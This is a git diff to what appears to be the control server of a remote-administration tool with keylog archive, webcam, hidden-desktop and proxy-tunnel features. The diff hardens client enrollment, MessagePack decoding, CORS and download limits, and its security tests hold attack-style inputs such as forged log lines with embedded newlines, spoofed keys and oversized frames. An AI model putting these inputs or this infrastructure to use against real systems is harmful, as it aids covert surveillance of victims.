--git a/Overlord-Server/src/db/repositories/shared-files.ts b/Overlord-Server/src/db/repositories/shared-files.ts index df2a5a5..a9095ac 100644 --- a/Overlord-Server/src/db/repositories/shared-files.ts +++ b/Overlord-Server/src/db/repositories/shared-files.ts @@ -130,6 +130,24 @@ export function incrementSharedFileDownloadCount(id: string): boolean { return (result as any)?.changes ? (result as any).changes > 0 : false; } +/** + * Atomically reserves one download while enforcing expiry and max-downloads. + * The conditional UPDATE prevents concurrent requests from all observing the + * same stale download_count and overshooting the configured limit. + */ +export function claimSharedFileDownload(id: string, now = Date.now()): boolean { + const result = db.run( + `UPDATE shared_files + SET download_count = download_count + 1 + WHERE id=? + AND (expires_at IS NULL OR expires_at >= ?) + AND (max_downloads IS NULL OR download_count < max_downloads)`, + id, + now, + ); + return result.changes > 0; +} + export function deleteExpiredSharedFiles(): string[] { const now = Date.now(); const expired = db diff --git a/Overlord-Server/src/db/schema.ts b/Overlord-Server/src/db/schema.ts index fcfa0bb..2268ab3 100644 --- a/Overlord-Server/src/db/schema.ts +++ b/Overlord-Server/src/db/schema.ts @@ -437,6 +437,9 @@ db.run( db.run( `CREATE INDEX IF NOT EXISTS idx_notification_screenshots_ts ON notification_screenshots(ts DESC);`, ); +db.run( + `CREATE INDEX IF NOT EXISTS idx_notification_screenshots_client_ts ON notification_screenshots(client_id, ts);`, +); db.run(` CREATE TABLE IF NOT EXISTS notifications ( diff --git a/Overlord-Server/src/enrollment-security.test.ts b/Overlord-Server/src/enrollment-security.test.ts new file mode 100644 index 0000000..f62d184 --- /dev/null +++ b/Overlord-Server/src/enrollment-security.test.ts @@ -0,0 +1,774 @@ +import { afterEach, describe, expect, test } from "bun:test"; +import * as clientManager from "./clientManager"; +import { + clientExists, + deleteClientRow, + getClientEnrollmentStatus, + getClientBuildOwnership, + getClientPublicKeyById, + upsertClientRow, + upsertPendingClientRow, +} from "./db"; +import { encodeMessage } from "./protocol"; +import { + consumeClientIngressBudget, + createEnrollmentAdmissionController, + decodeCanonicalBase64, + getEnrollmentAdmissionStats, + handleWebSocketClose, + handleWebSocketMessage, + handleWebSocketOpen, + MAX_DISCONNECT_DETAIL_LENGTH, + MAX_DISCONNECT_REASON_LENGTH, + MAX_PROXY_TUNNEL_CHUNK_BYTES, + normalizeDisconnectInfo, + normalizeProxyTunnelChunk, +} from "./server/routes/websocket-lifecycle-routes"; +import type { SocketData } from "./sessions/types"; + +const createdClientIds = new Set(); + +afterEach(() => { + for (const id of createdClientIds) { + clientManager.deleteClient(id); + deleteClientRow(id); + } + createdClientIds.clear(); +}); + +function uniqueId(label: string): string { + const id = `security-${label}-${crypto.randomUUID()}`; + createdClientIds.add(id); + return id; +} + +function createClientSocket( + clientId: string, + enrollmentState: SocketData["enrollmentState"], + enrollmentNonce?: string, +) { + const closes: Array<{ code: number; reason: string }> = []; + return { + data: { + role: "client", + clientId, + ip: "127.0.0.1", + enrollmentState, + enrollmentNonce, + } satisfies SocketData, + closes, + sent: [] as Uint8Array[], + send(message: Uint8Array) { + this.sent.push(message); + }, + close(code: number, reason: string) { + closes.push({ code, reason }); + }, + } as any; +} + +function createLifecycleDeps(overrides: Record = {}) { + return { + maxClientPayloadBytes: 1024 * 1024, + maxViewerPayloadBytes: 1024 * 1024, + pendingScripts: new Map(), + pendingCommandReplies: new Map(), + rdStreamingState: new Map(), + backstageStreamingState: new Map(), + webcamStreamingState: new Map(), + getNotificationConfig: () => ({}), + dispatchAutoScriptsForConnection() {}, + dispatchAutoDeploysForConnection() {}, + dispatchAutoLoadPlugins() {}, + sendDesktopCommand() {}, + notifyDashboard() {}, + notifyDashboardClientEvent() {}, + broadcastClientEvent() {}, + notifyRemoteDesktopStatus() {}, + notifyRdInputLatency() {}, + handleNotificationScreenshotFailure() {}, + handleFileBrowserMessage() {}, + handleProxyConnectResult() {}, + ...overrides, + } as any; +} + +describe("enrollment identity persistence", () => { + test("pending enrollment cannot overwrite an approved client's key", () => { + const victimId = uniqueId("approved-id"); + expect(upsertClientRow({ + id: victimId, + hwid: "shared-hwid", + enrollmentStatus: "approved", + publicKey: "approved-key", + host: "approved-host", + })).toBe(true); + + expect(upsertPendingClientRow({ + id: victimId, + hwid: "shared-hwid", + enrollmentStatus: "pending", + publicKey: "attacker-key", + host: "attacker-host", + })).toBe(false); + + expect(getClientEnrollmentStatus(victimId)).toBe("approved"); + expect(getClientPublicKeyById(victimId)).toBe("approved-key"); + }); + + test("pending enrollment with a colliding HWID does not delete an approved client", () => { + const victimId = uniqueId("approved-hwid"); + const pendingId = uniqueId("pending-hwid"); + const sharedHwid = `shared-${crypto.randomUUID()}`; + + upsertClientRow({ + id: victimId, + hwid: sharedHwid, + enrollmentStatus: "approved", + publicKey: "approved-key", + }); + + expect(upsertPendingClientRow({ + id: pendingId, + hwid: sharedHwid, + enrollmentStatus: "pending", + publicKey: "pending-key", + })).toBe(true); + + expect(clientExists(victimId)).toBe(true); + expect(getClientEnrollmentStatus(victimId)).toBe("approved"); + expect(getClientPublicKeyById(victimId)).toBe("approved-key"); + expect(clientExists(pendingId)).toBe(true); + }); + + test("an approved different-key insert cannot replace or HWID-delete another approved client", () => { + const victimId = uniqueId("approved-generic"); + const attackerId = uniqueId("approved-generic-attacker"); + const sharedHwid = `shared-${crypto.randomUUID()}`; + + upsertClientRow({ + id: victimId, + hwid: sharedHwid, + enrollmentStatus: "approved", + publicKey: "approved-key", + }); + + expect(upsertClientRow({ + id: victimId, + hwid: sharedHwid, + enrollmentStatus: "approved", + publicKey: "different-key", + })).toBe(false); + expect(upsertClientRow({ + id: attackerId, + hwid: sharedHwid, + enrollmentStatus: "approved", + publicKey: "different-key", + })).toBe(true); + + expect(clientExists(victimId)).toBe(true); + expect(getClientPublicKeyById(victimId)).toBe("approved-key"); + }); + + test("an approved client cannot HWID-delete a denied identity", () => { + const deniedId = uniqueId("denied-hwid"); + const approvedId = uniqueId("approved-denied-hwid-collision"); + const sharedHwid = `shared-denied-${crypto.randomUUID()}`; + + expect(upsertClientRow({ + id: deniedId, + hwid: sharedHwid, + enrollmentStatus: "denied", + publicKey: `denied-key-${crypto.randomUUID()}`, + })).toBe(true); + + expect(upsertClientRow({ + id: approvedId, + hwid: sharedHwid, + enrollmentStatus: "approved", + publicKey: `approved-key-${crypto.randomUUID()}`, + })).toBe(true); + + expect(clientExists(deniedId)).toBe(true); + expect(getClientEnrollmentStatus(deniedId)).toBe("denied"); + expect(clientExists(approvedId)).toBe(true); + }); + + test("an approved client cannot HWID-delete a pending identity", () => { + const pendingId = uniqueId("pending-hwid-victim"); + const approvedId = uniqueId("approved-pending-hwid-collision"); + const sharedHwid = `shared-pending-${crypto.randomUUID()}`; + + expect(upsertPendingClientRow({ + id: pendingId, + hwid: sharedHwid, + enrollmentStatus: "pending", + publicKey: `pending-key-${crypto.randomUUID()}`, + ip: "198.51.100.200", + })).toBe(true); + + expect(upsertClientRow({ + id: approvedId, + hwid: sharedHwid, + enrollmentStatus: "approved", + publicKey: `approved-key-${crypto.randomUUID()}`, + })).toBe(true); + + expect(clientExists(pendingId)).toBe(true); + expect(getClientEnrollmentStatus(pendingId)).toBe("pending"); + expect(clientExists(approvedId)).toBe(true); + }); + + test("a legacy approved row without a key cannot be claimed during enrollment", () => { + const victimId = uniqueId("legacy-approved"); + upsertClientRow({ + id: victimId, + enrollmentStatus: "approved", + host: "legacy-approved-host", + }); + + expect(upsertPendingClientRow({ + id: victimId, + enrollmentStatus: "pending", + publicKey: "new-key", + })).toBe(false); + expect(getClientEnrollmentStatus(victimId)).toBe("approved"); + expect(getClientPublicKeyById(victimId)).toBeNull(); + }); + + test("an enrolled build identity cannot be overwritten by client metadata", () => { + const clientId = uniqueId("immutable-build"); + upsertClientRow({ + id: clientId, + enrollmentStatus: "approved", + publicKey: "approved-key", + buildTag: "enrolled-build-tag", + builtByUserId: 10, + }); + + upsertClientRow({ + id: clientId, + enrollmentStatus: "approved", + publicKey: "approved-key", + buildTag: "attacker-selected-tag", + builtByUserId: 999, + }); + + expect(getClientBuildOwnership(clientId)).toEqual({ + buildTag: "enrolled-build-tag", + builtByUserId: 10, + }); + }); + + test("one public key cannot reserve two client identities", async () => { + const firstId = uniqueId("same-key-first"); + const secondId = uniqueId("same-key-second"); + const publicKey = `shared-key-${crypto.randomUUID()}`; + + const results = await Promise.all([ + Promise.resolve().then(() => upsertPendingClientRow({ + id: firstId, + publicKey, + enrollmentStatus: "pending", + })), + Promise.resolve().then(() => upsertPendingClientRow({ + id: secondId, + publicKey, + enrollmentStatus: "pending", + })), + ]); + + expect(results.filter(Boolean)).toHaveLength(1); + expect([clientExists(firstId), clientExists(secondId)].filter(Boolean)).toHaveLength(1); + }); + + test("one public key cannot reserve two approved identities", async () => { + const firstId = uniqueId("approved-same-key-first"); + const secondId = uniqueId("approved-same-key-second"); + const publicKey = `approved-shared-key-${crypto.randomUUID()}`; + const results = await Promise.all([ + Promise.resolve().then(() => upsertClientRow({ + id: firstId, + publicKey, + enrollmentStatus: "approved", + })), + Promise.resolve().then(() => upsertClientRow({ + id: secondId, + publicKey, + enrollmentStatus: "approved", + })), + ]); + expect(results.filter(Boolean)).toHaveLength(1); + expect([clientExists(firstId), clientExists(secondId)].filter(Boolean)).toHaveLength(1); + }); + + test("caps fresh pending identities per source IP", () => { + const envName = "OVERLORD_MAX_PENDING_ENROLLMENTS_PER_IP"; + const saved = process.env[envName]; + process.env[envName] = "1"; + try { + const firstId = uniqueId("ip-cap-first"); + const secondId = uniqueId("ip-cap-second"); + const ip = `198.51.100.${Math.floor(Math.random() * 100 + 1)}`; + expect(upsertPendingClientRow({ + id: firstId, + publicKey: `ip-key-${crypto.randomUUID()}`, + enrollmentStatus: "pending", + ip, + })).toBe(true); + expect(upsertPendingClientRow({ + id: secondId, + publicKey: `ip-key-${crypto.randomUUID()}`, + enrollmentStatus: "pending", + ip, + })).toBe(false); + } finally { + if (saved === undefined) delete process.env[envName]; + else process.env[envName] = saved; + } + }); +}); + +describe("client websocket ingress budget", () => { + test("bounds repeated giant frames before MessagePack decoding", () => { + const data = { role: "client", clientId: "budget-test" } as SocketData; + const giantFrame = 64 * 1024 * 1024; + expect(consumeClientIngressBudget(data, giantFrame, 1_000)).toBe(true); + expect(consumeClientIngressBudget(data, giantFrame, 1_000)).toBe(true); + expect(consumeClientIngressBudget(data, 1, 1_000)).toBe(false); + expect(consumeClientIngressBudget(data, giantFrame, 3_000)).toBe(true); + }); + + test("bounds tiny-message floods independently of byte volume", () => { + const data = { role: "client", clientId: "message-budget-test" } as SocketData; + for (let i = 0; i < 512; i += 1) { + expect(consumeClientIngressBudget(data, 1, 10_000)).toBe(true); + } + expect(consumeClientIngressBudget(data, 1, 10_000)).toBe(false); + expect(consumeClientIngressBudget(data, 1, 11_000)).toBe(true); + }); +}); + +describe("pre-auth enrollment admission", () => { + test("caps active challenges globally and per IP with idempotent release", () => { + const controller = createEnrollmentAdmissionController({ + maxActiveGlobal: 2, + maxActivePerIp: 1, + maxVerifyingGlobal: 1, + verificationAttemptsPerSecond: 1, + verificationAttemptBurst: 2, + }); + const first = {}; + const sameIp = {}; + const secondIp = {}; + const overGlobal = {}; + + expect(controller.admit(first, "198.51.100.1")).toEqual({ ok: true }); + expect(controller.admit(sameIp, "198.51.100.1")).toEqual({ + ok: false, + reason: "per_ip_socket_limit", + }); + expect(controller.admit(secondIp, "198.51.100.2")).toEqual({ ok: true }); + expect(controller.admit(overGlobal, "198.51.100.3")).toEqual({ + ok: false, + reason: "global_socket_limit", + }); + expect(controller.stats("198.51.100.1")).toMatchObject({ + active: 2, + activeForIp: 1, + verifying: 0, + }); + + expect(controller.release(first)).toBe(true); + expect(controller.release(first)).toBe(false); + expect(controller.admit(overGlobal, "198.51.100.3")).toEqual({ ok: true }); + }); + + test("bounds concurrent verification and refills a global attempt bucket", () => { + const controller = createEnrollmentAdmissionController({ + maxActiveGlobal: 4, + maxActivePerIp: 4, + maxVerifyingGlobal: 1, + verificationAttemptsPerSecond: 1, + verificationAttemptBurst: 2, + }); + const first = {}; + const second = {}; + const third = {}; + for (const socket of [first, second, third]) { + expect(controller.admit(socket, "203.0.113.1")).toEqual({ ok: true }); + } + + expect(controller.beginVerification(first, 1_000)).toEqual({ ok: true }); + expect(controller.beginVerification(second, 1_000)).toEqual({ + ok: false, + reason: "verification_concurrency", + }); + expect(controller.release(first)).toBe(true); + expect(controller.beginVerification(second, 1_000)).toEqual({ ok: true }); + expect(controller.release(second)).toBe(true); + expect(controller.beginVerification(third, 1_000)).toEqual({ + ok: false, + reason: "verification_rate", + }); + expect(controller.beginVerification(third, 2_000)).toEqual({ ok: true }); + expect(controller.stats()).toMatchObject({ active: 1, verifying: 1 }); + expect(controller.release(third)).toBe(true); + expect(controller.stats()).toMatchObject({ active: 0, verifying: 0 }); + }); +}); + +describe("client disconnect metadata", () => { + test("strips controls and clamps agent-supplied values before persistence", () => { + const normalized = normalizeDisconnectInfo({ + reason: ` crash\r\nforged-log\t\u0000${"r".repeat(MAX_DISCONNECT_REASON_LENGTH + 100)} `, + detail: ` detail\u0007${"d".repeat(MAX_DISCONNECT_DETAIL_LENGTH + 100)} `, + }); + + expect(normalized).not.toBeNull(); + expect(normalized?.reason).not.toContain("\u0000"); + expect(normalized?.reason).not.toMatch(/[\r\n\t]/); + expect(normalized?.reason).toStartWith("crash forged-log "); + expect(normalized?.detail).not.toContain("\u0007"); + expect(normalized?.reason.length).toBeLessThanOrEqual(MAX_DISCONNECT_REASON_LENGTH); + expect(normalized?.detail?.length).toBeLessThanOrEqual(MAX_DISCONNECT_DETAIL_LENGTH); + + const exact = normalizeDisconnectInfo({ + reason: "r".repeat(MAX_DISCONNECT_REASON_LENGTH + 1), + detail: "d".repeat(MAX_DISCONNECT_DETAIL_LENGTH + 1), + }); + expect(exact?.reason.length).toBe(MAX_DISCONNECT_REASON_LENGTH); + expect(exact?.detail?.length).toBe(MAX_DISCONNECT_DETAIL_LENGTH); + }); + + test("rejects missing or empty reasons", () => { + expect(normalizeDisconnectInfo(null)).toBeNull(); + expect(normalizeDisconnectInfo({ reason: " \u0000\u0007 " })).toBeNull(); + expect(normalizeDisconnectInfo({ reason: 42, detail: "ignored" })).toBeNull(); + }); +}); + +describe("proxy tunnel payload validation", () => { + test("rejects scalar allocation lengths and oversized chunks", () => { + expect(normalizeProxyTunnelChunk(0xffff_ffff)).toBeNull(); + expect(normalizeProxyTunnelChunk({ length: 0xffff_ffff })).toBeNull(); + expect(normalizeProxyTunnelChunk(new Uint8Array(MAX_PROXY_TUNNEL_CHUNK_BYTES + 1))).toBeNull(); + }); + + test("preserves an accepted view's exact offset and length", () => { + const backing = new Uint8Array([9, 1, 2, 3, 8]); + const view = new DataView(backing.buffer, 1, 3); + expect(normalizeProxyTunnelChunk(view)).toEqual(new Uint8Array([1, 2, 3])); + }); +}); + +describe("pre-enrollment websocket handling", () => { + test("strictly rejects non-canonical public keys before identity lookup", async () => { + const deniedId = uniqueId("denied-key-alias"); + const claimedId = uniqueId("denied-key-alias-claim"); + const keyPair = await crypto.subtle.generateKey("Ed25519", true, ["sign", "verify"]); + const publicKey = Buffer.from(await crypto.subtle.exportKey("raw", keyPair.publicKey)).toString("base64"); + expect(upsertClientRow({ + id: deniedId, + hwid: deniedId, + role: "client", + publicKey, + enrollmentStatus: "denied", + })).toBe(true); + + expect(decodeCanonicalBase64(publicKey, 32)).not.toBeNull(); + expect(decodeCanonicalBase64(`${publicKey}!!`, 32)).toBeNull(); + expect(decodeCanonicalBase64(` ${publicKey}`, 32)).toBeNull(); + + const deps = createLifecycleDeps(); + const ws = createClientSocket(claimedId, undefined); + const activeBefore = getEnrollmentAdmissionStats().active; + handleWebSocketOpen(ws, deps); + const nonceBytes = Buffer.from(ws.data.enrollmentNonce!, "base64"); + const signature = Buffer.from( + await crypto.subtle.sign("Ed25519", keyPair.privateKey, nonceBytes), + ).toString("base64"); + await handleWebSocketMessage( + ws, + encodeMessage({ + type: "hello", + id: claimedId, + host: "host", + os: "test", + arch: "x64", + version: "1", + user: "user", + monitors: 1, + publicKey: `${publicKey}!!`, + signature, + }), + deps, + ); + + expect(ws.closes).toContainEqual({ code: 4002, reason: "invalid_signature" }); + expect(getEnrollmentAdmissionStats().active).toBe(activeBefore); + expect(getClientEnrollmentStatus(deniedId)).toBe("denied"); + expect(clientExists(claimedId)).toBe(false); + }); + + test("same-ID sockets retain independent enrollment timeouts", () => { + const clientId = uniqueId("same-id-timeouts"); + const firstSocket = createClientSocket(clientId, undefined); + const secondSocket = createClientSocket(clientId, undefined); + const deps = createLifecycleDeps(); + const activeBefore = getEnrollmentAdmissionStats().active; + + handleWebSocketOpen(firstSocket, deps); + handleWebSocketOpen(secondSocket, deps); + + expect(getEnrollmentAdmissionStats("127.0.0.1").activeForIp).toBeGreaterThanOrEqual(2); + + expect(firstSocket.data.enrollmentTimeout).toBeDefined(); + expect(secondSocket.data.enrollmentTimeout).toBeDefined(); + expect(firstSocket.data.enrollmentTimeout).not.toBe(secondSocket.data.enrollmentTimeout); + + handleWebSocketClose(secondSocket, 1000, "closed", deps); + expect(secondSocket.data.enrollmentTimeout).toBeUndefined(); + expect(firstSocket.data.enrollmentTimeout).toBeDefined(); + + handleWebSocketClose(firstSocket, 1000, "closed", deps); + expect(firstSocket.data.enrollmentTimeout).toBeUndefined(); + expect(getEnrollmentAdmissionStats().active).toBe(activeBefore); + }); + + test("consumes the challenge before awaiting verification and rejects concurrent hello", async () => { + const clientId = uniqueId("double-hello"); + const keyPair = await crypto.subtle.generateKey("Ed25519", true, ["sign", "verify"]); + const publicKey = Buffer.from( + await crypto.subtle.exportKey("raw", keyPair.publicKey), + ).toString("base64"); + const ws = createClientSocket(clientId, undefined); + const deps = createLifecycleDeps(); + const admissionBefore = getEnrollmentAdmissionStats(); + handleWebSocketOpen(ws, deps); + const nonceBytes = Buffer.from(ws.data.enrollmentNonce!, "base64"); + const signature = Buffer.from( + await crypto.subtle.sign("Ed25519", keyPair.privateKey, nonceBytes), + ).toString("base64"); + const hello = encodeMessage({ + type: "hello", + id: clientId, + host: "host", + os: "test", + arch: "x64", + version: "1", + user: "user", + monitors: 1, + publicKey, + signature, + }); + + const firstHello = handleWebSocketMessage(ws, hello, deps); + expect(ws.data.enrollmentNonce).toBeUndefined(); + expect(ws.data.enrollmentState).toBe("verifying"); + expect(getEnrollmentAdmissionStats().verifying).toBe(admissionBefore.verifying + 1); + + const secondHello = handleWebSocketMessage(ws, hello, deps); + await Promise.all([firstHello, secondHello]); + + expect(ws.data.enrollmentState).toBe("rejected"); + expect(ws.closes).toContainEqual({ code: 4002, reason: "unexpected_hello" }); + expect(getEnrollmentAdmissionStats()).toMatchObject({ + active: admissionBefore.active, + verifying: admissionBefore.verifying, + }); + expect(clientManager.hasClient(clientId)).toBe(false); + }); + + test("releases challenge and verification capacity after authentication", async () => { + const clientId = uniqueId("admission-auth-release"); + const keyPair = await crypto.subtle.generateKey("Ed25519", true, ["sign", "verify"]); + const publicKey = Buffer.from( + await crypto.subtle.exportKey("raw", keyPair.publicKey), + ).toString("base64"); + expect(upsertClientRow({ + id: clientId, + publicKey, + enrollmentStatus: "approved", + })).toBe(true); + + const ws = createClientSocket(clientId, undefined); + const deps = createLifecycleDeps(); + const before = getEnrollmentAdmissionStats(); + handleWebSocketOpen(ws, deps); + expect(getEnrollmentAdmissionStats()).toMatchObject({ + active: before.active + 1, + verifying: before.verifying, + }); + + const nonceBytes = Buffer.from(ws.data.enrollmentNonce!, "base64"); + const signature = Buffer.from( + await crypto.subtle.sign("Ed25519", keyPair.privateKey, nonceBytes), + ).toString("base64"); + await handleWebSocketMessage(ws, encodeMessage({ + type: "hello", + id: clientId, + host: "host", + os: "test", + arch: "x64", + version: "1", + user: "user", + monitors: 1, + publicKey, + signature, + }), deps); + + expect(ws.data.enrollmentState).toBe("authenticated"); + expect(clientManager.getClient(clientId)?.ws).toBe(ws); + expect(getEnrollmentAdmissionStats()).toMatchObject({ + active: before.active, + verifying: before.verifying, + }); + }); + + test("rejects a large frame before enrollment decoding", async () => { + const clientId = uniqueId("large-pre-enrollment-frame"); + const ws = createClientSocket(clientId, undefined); + const deps = createLifecycleDeps(); + const activeBefore = getEnrollmentAdmissionStats().active; + handleWebSocketOpen(ws, deps); + + await handleWebSocketMessage( + ws, + new Uint8Array(32 * 1024 + 1), + deps, + ); + + expect(ws.closes).toEqual([ + { code: 1009, reason: "Pre-enrollment message too large" }, + ]); + expect(ws.data.enrollmentState).toBe("rejected"); + expect(getEnrollmentAdmissionStats().active).toBe(activeBefore); + }); + + test("unauthenticated close cannot consume another client's pending work", () => { + const claimedId = uniqueId("preauth-close"); + const timeout = setTimeout(() => {}, 60_000); + const pendingCommandReplies = new Map([ + ["pending-command", { clientId: claimedId, timeout, resolve() {} }], + ]); + const ws = createClientSocket(claimedId, undefined); + const deps = createLifecycleDeps({ pendingCommandReplies }); + const activeBefore = getEnrollmentAdmissionStats().active; + handleWebSocketOpen(ws, deps); + + handleWebSocketClose( + ws, + 1000, + "closed", + deps, + ); + + clearTimeout(timeout); + expect(pendingCommandReplies.has("pending-command")).toBe(true); + expect(getEnrollmentAdmissionStats().active).toBe(activeBefore); + }); +}); + +describe("client-bound pending responses", () => { + test("a superseded authenticated socket cannot inject messages", async () => { + const clientId = uniqueId("superseded-socket"); + const staleWs = createClientSocket(clientId, "authenticated"); + const currentWs = createClientSocket(clientId, "authenticated"); + clientManager.addClient(clientId, { + id: clientId, + role: "client", + ws: currentWs, + lastSeen: Date.now(), + online: true, + }); + let notifications = 0; + await handleWebSocketMessage( + staleWs, + encodeMessage({ type: "notification", title: "spoofed" } as any), + createLifecycleDeps({ handleNotification() { notifications += 1; } }), + ); + expect(notifications).toBe(0); + expect(staleWs.closes).toContainEqual({ code: 4004, reason: "superseded" }); + expect(clientManager.getClient(clientId)?.ws).toBe(currentWs); + }); + + test("wrong client cannot resolve command, logs, or script replies", async () => { + const senderId = uniqueId("reply-sender"); + const expectedId = uniqueId("reply-owner"); + const ws = createClientSocket(senderId, "authenticated"); + clientManager.addClient(senderId, { + id: senderId, + role: "client", + ws, + lastSeen: Date.now(), + online: true, + }); + + let commandResolutions = 0; + let scriptResolutions = 0; + const commandTimeout = setTimeout(() => {}, 60_000); + const logTimeout = setTimeout(() => {}, 60_000); + const scriptTimeout = setTimeout(() => {}, 60_000); + const pendingCommandReplies = new Map([ + ["command-id", { + clientId: expectedId, + timeout: commandTimeout, + resolve() { commandResolutions += 1; }, + }], + ["logs-id", { + clientId: expectedId, + timeout: logTimeout, + resolve() { commandResolutions += 1; }, + }], + ]); + const pendingScripts = new Map([ + ["script-id", { + clientId: expectedId, + timeout: scriptTimeout, + resolve() { scriptResolutions += 1; }, + }], + ]); + let screenshotFailureClientId: string | undefined; + const deps = createLifecycleDeps({ + pendingCommandReplies, + pendingScripts, + handleNotificationScreenshotFailure( + _commandId: string | undefined, + _ok: boolean | undefined, + _message: string | undefined, + clientId: string | undefined, + ) { + screenshotFailureClientId = clientId; + }, + }); + + await handleWebSocketMessage(ws, encodeMessage({ + type: "command_result", + commandId: "command-id", + ok: false, + }), deps); + await handleWebSocketMessage(ws, encodeMessage({ + type: "client_logs_result", + commandId: "logs-id", + ok: true, + lines: [], + } as any), deps); + await handleWebSocketMessage(ws, encodeMessage({ + type: "script_result", + commandId: "script-id", + ok: true, + output: "spoofed", + }), deps); + + clearTimeout(commandTimeout); + clearTimeout(logTimeout); + clearTimeout(scriptTimeout); + expect(commandResolutions).toBe(0); + expect(scriptResolutions).toBe(0); + expect(pendingCommandReplies.has("command-id")).toBe(true); + expect(pendingCommandReplies.has("logs-id")).toBe(true); + expect(pendingScripts.has("script-id")).toBe(true); + expect(screenshotFailureClientId).toBe(senderId); + }); +}); diff --git a/Overlord-Server/src/httpHandlers.test.ts b/Overlord-Server/src/httpHandlers.test.ts index 73fbfe5..aaefbb6 100644 --- a/Overlord-Server/src/httpHandlers.test.ts +++ b/Overlord-Server/src/httpHandlers.test.ts @@ -102,5 +102,6 @@ describe("handleClientsRequest", () => { expect(res.status).toBe(200); const ct = res.headers.get("content-type") || ""; expect(ct).toContain("json"); + expect(res.headers.get("access-control-allow-origin")).toBe("null"); }); }); diff --git a/Overlord-Server/src/httpHandlers.ts b/Overlord-Server/src/httpHandlers.ts index 51deac7..94a3e39 100644 --- a/Overlord-Server/src/httpHandlers.ts +++ b/Overlord-Server/src/httpHandlers.ts @@ -6,13 +6,9 @@ import { v4 as uuidv4 } from "uuid"; import { metrics } from "./metrics"; import { logAudit, AuditAction } from "./auditLog"; import { sendPingRequest } from "./wsHandlers"; +import { CORS_HEADERS } from "./server/http-security"; const DEFAULT_PAGE_SIZE = 12; -const CORS_HEADERS = { - "Access-Control-Allow-Origin": "*", - "Access-Control-Allow-Methods": "GET,OPTIONS", - "Access-Control-Allow-Headers": "Content-Type", -}; export function handleClientsRequest(req: Request): Response { const url = new URL(req.url); diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 6169a3d..ad0c651 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -773,7 +773,10 @@ async function startServer() { (req, url, srv) => handleFileDownloadRoutes(req, url, srv as any, routeDeps.fileDownload), (req, url) => handleKeylogArchiveRoutes(req, url, { CORS_HEADERS }), (req, url) => handlePluginRoutes(req, url, routeDeps.plugin), - (req, url) => handleFileShareRoutes(req, url, routeDeps.fileShare), + (req, url, srv) => handleFileShareRoutes(req, url, { + ...routeDeps.fileShare, + requestIP: (srv as any).requestIP, + }), (req, url, srv) => handleMiscRoutes(req, url, { ...routeDeps.misc, requestIP: (srv as any).requestIP, diff --git a/Overlord-Server/src/messagepack-preflight.test.ts b/Overlord-Server/src/messagepack-preflight.test.ts new file mode 100644 index 0000000..ec0faba --- /dev/null +++ b/Overlord-Server/src/messagepack-preflight.test.ts @@ -0,0 +1,100 @@ +import { describe, expect, test } from "bun:test"; +import { encode } from "@msgpack/msgpack"; +import { + DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS, + MessagePackPreflightError, + preflightMessagePack, +} from "./messagepack-preflight"; +import { decodeMessage } from "./protocol"; + +function container32(prefix: 0xdd | 0xdf, count: number): Uint8Array { + return new Uint8Array([ + prefix, + (count >>> 24) & 0xff, + (count >>> 16) & 0xff, + (count >>> 8) & 0xff, + count & 0xff, + ]); +} + +describe("MessagePack allocation preflight", () => { + test("accepts normal mixed wire data and Uint8Array subviews", () => { + const encoded = encode({ + type: "ping", + ts: 123.5, + nested: [null, true, -300, "hello", new Uint8Array([1, 2, 3])], + metadata: { ok: true }, + }); + const backing = new Uint8Array(encoded.byteLength + 2); + backing.set(encoded, 1); + const subview = backing.subarray(1, backing.length - 1); + + expect(() => preflightMessagePack(subview)).not.toThrow(); + expect((decodeMessage(subview) as any).nested[4]).toEqual(new Uint8Array([1, 2, 3])); + }); + + test("accepts fixed and variable extension framing", () => { + expect(() => preflightMessagePack(new Uint8Array([0xd4, 0x01, 0xff]))).not.toThrow(); + expect(() => preflightMessagePack(new Uint8Array([0xc7, 0x00, 0x01]))).not.toThrow(); + }); + + test("accepts encoder output across 16-bit and 32-bit length boundaries", () => { + const value = { + mediumText: "m".repeat(300), + largeText: "l".repeat(70_000), + mediumBytes: new Uint8Array(300), + largeBytes: new Uint8Array(70_000), + array16: Array.from({ length: 20 }, (_, index) => index), + map16: Object.fromEntries(Array.from({ length: 20 }, (_, index) => [`k${index}`, index])), + }; + + expect(() => preflightMessagePack(encode(value))).not.toThrow(); + }); + + test("does not impose the former low container-item limit", () => { + const aboveFormerLimit = 16_385; + for (const prefix of [0xdd, 0xdf] as const) { + expect(() => preflightMessagePack(container32(prefix, aboveFormerLimit))) + .toThrow("truncated value header"); + } + }); + + test("rejects depth amplification while allowing the configured boundary", () => { + const allowed = new Uint8Array([ + ...new Array(DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS.maxDepth - 1).fill(0x91), + 0xc0, + ]); + const tooDeep = new Uint8Array([ + ...new Array(DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS.maxDepth).fill(0x91), + 0xc0, + ]); + + expect(() => preflightMessagePack(allowed)).not.toThrow(); + expect(() => preflightMessagePack(tooDeep)).toThrow("nesting depth limit exceeded"); + }); + + test("accepts aggregate value counts above the former fixed ceiling", () => { + const payload = encode(Array.from({ length: 70_000 }, (_, index) => [index])); + expect(() => preflightMessagePack(payload)).not.toThrow(); + }); + + test("rejects truncated strings and containers", () => { + expect(() => preflightMessagePack(new Uint8Array([0xdb, 0, 0, 0, 4, 0x61]))) + .toThrow("truncated str32 body"); + expect(() => preflightMessagePack(new Uint8Array([0x91]))) + .toThrow("truncated value header"); + }); + + test("requires exactly one root value and rejects reserved prefixes", () => { + expect(() => preflightMessagePack(new Uint8Array([0xc0, 0xc0]))) + .toThrow("trailing bytes after root value"); + expect(() => preflightMessagePack(new Uint8Array([0xc1]))) + .toThrow(MessagePackPreflightError); + }); + + test("decodeMessage applies the preflight before the library decoder", () => { + const declaredBillions = container32(0xdd, 0xffff_ffff); + expect(() => decodeMessage(declaredBillions)) + .toThrow("truncated value header"); + }); +}); diff --git a/Overlord-Server/src/messagepack-preflight.ts b/Overlord-Server/src/messagepack-preflight.ts new file mode 100644 index 0000000..39f862a --- /dev/null +++ b/Overlord-Server/src/messagepack-preflight.ts @@ -0,0 +1,213 @@ +export type MessagePackPreflightLimits = { + maxDepth: number; + maxContainerItems: number; +}; + +export const DEFAULT_UNTRUSTED_MESSAGEPACK_LIMITS: Readonly = + Object.freeze({ + maxDepth: 32, + maxContainerItems: 0xffff_ffff, + }); + +export class 